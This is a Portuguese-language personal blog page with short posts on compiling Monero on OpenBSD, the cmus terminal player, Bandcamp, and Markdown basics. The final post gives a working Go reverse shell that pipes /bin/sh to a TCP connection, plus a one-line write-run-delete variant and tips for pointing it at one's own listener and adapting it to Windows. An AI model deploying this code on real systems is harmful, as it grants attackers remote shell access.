umgeher's changelog

OpenBSD - Monero

Para compilar a toolchain do monero no OpenBSD, devemos ter os seguintes pacotes instalados… cmake, gmake, zeromq, libiconv e boost. Temos todos em pkg.

pkg_add cmake gmake zeromq libiconv boost

Agora vamos clonar o projeto…

git clone https://github.com/monero-project/monero.git

Dentro do diretorio do projeto, execute:

ulimit -d 2000000 ; env DEVELOPER_LOCAL_TOOLS=1 BOOST_ROOT=/usr/local gmake release-static

Agora voce tem a toolchain do monero dentro do diretorio ./build/OpenBSD/master/release/bin.

cmus

CMUS e’ um otimo player para seu terminal! Simples, rapido e sem frescura nenhuma.

“Without music, life would be a mistake.”

– Friedrich Nietzsche

CMUS

tela principal do cmus

Depois de instalar e rodar o cmus no terminal, ele vai apresentar essa tela porem sem musicas adicionadas a sua lib. Vamos adicionar musica a sua lib.

Aperte 5 para mostrar a tela do filesystem. Nessa tela voce pode navegar pelo filesystem em busca das suas musicas. Eu coloco todas fisicamente em ~/music mesmo.

filesystem

Vou descompactar um disco que tenho do GUNSHIP para adicionar na minha lib.

gunship

Com o diretorio selecionado, eu aperto a tecla a. O CMUS adiciona o diretorio para minha lib. Detalhe, o CMUS nao copia/move seus arquivos, ele simplesmente guarda os metadados. Aperte 1 e voce vai voltar para a tela do player.

player

Para navegar entre os artistas, use as setas do seu teclado. Para ir para a proxima caixa de navegacao, onde as musicas estao localizadas, use a tecla tab. Para inicar a musica, aperte enter.

Alguns binds:

  • z: volta uma musica
  • x: toca uma musica (play)
  • c: pausa e resume a musica.
  • v: para de tocar a musica.
  • b: vai para a proxima musica.
  • m: troca entre tocar todas as musicas da lib, todas as musicas do artista e todas as musicas do album. Repare no canto inferior direito para a descricao.

Para customizar e ver todos os binds, aperte a tecla 7.

Nao esqueca de ler o manual do CMUS, onde voce vai encontrar mais informacoes e configuracoes.

Bandcamp

Nao faca uso de softwares como spotify, alem de pagar mal os musicos desconhecidos do publico, eles violam sua privacidade e te oferecem arquivos de baixa qualidade. Use algo como bandcamp. Compre as musicas que voce realmente gosta, faca o download em alta qualiadade e ajude seu artista preferido. Alias, segue minha wishlist.

Messenger systems - quick overview

msqo

markdown

Markdown super resumido…

# Header 1

## Header 2

### Header 3

Paragrafos sao separados por linhas em branco. Duplos asteriscos fazem
o texto ficar **Bold**. _Italico_ e' underscore.

Lista:

- cada linha e' um item
- toda linha tem de comecar com -

Se quiser fazer uma lista ordenada:

1. voce deve colocar o inteiro 1 seguido de . 
1. os proximos items da lista tambem vao ter o 1. no inicio da linha
1. o render vai processar e cuidar dos numeros para voce

Isso [aqui](https://umgeher.org) e' um link.

![e isso uma imagem](/i/openbsd/logo-small.png)

golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (
  "net"
  "os/exec"
}

func main() {
	c, _ := net.Dial("tcp","127.0.0.1:8222")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c
	cmd.Run()
}

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.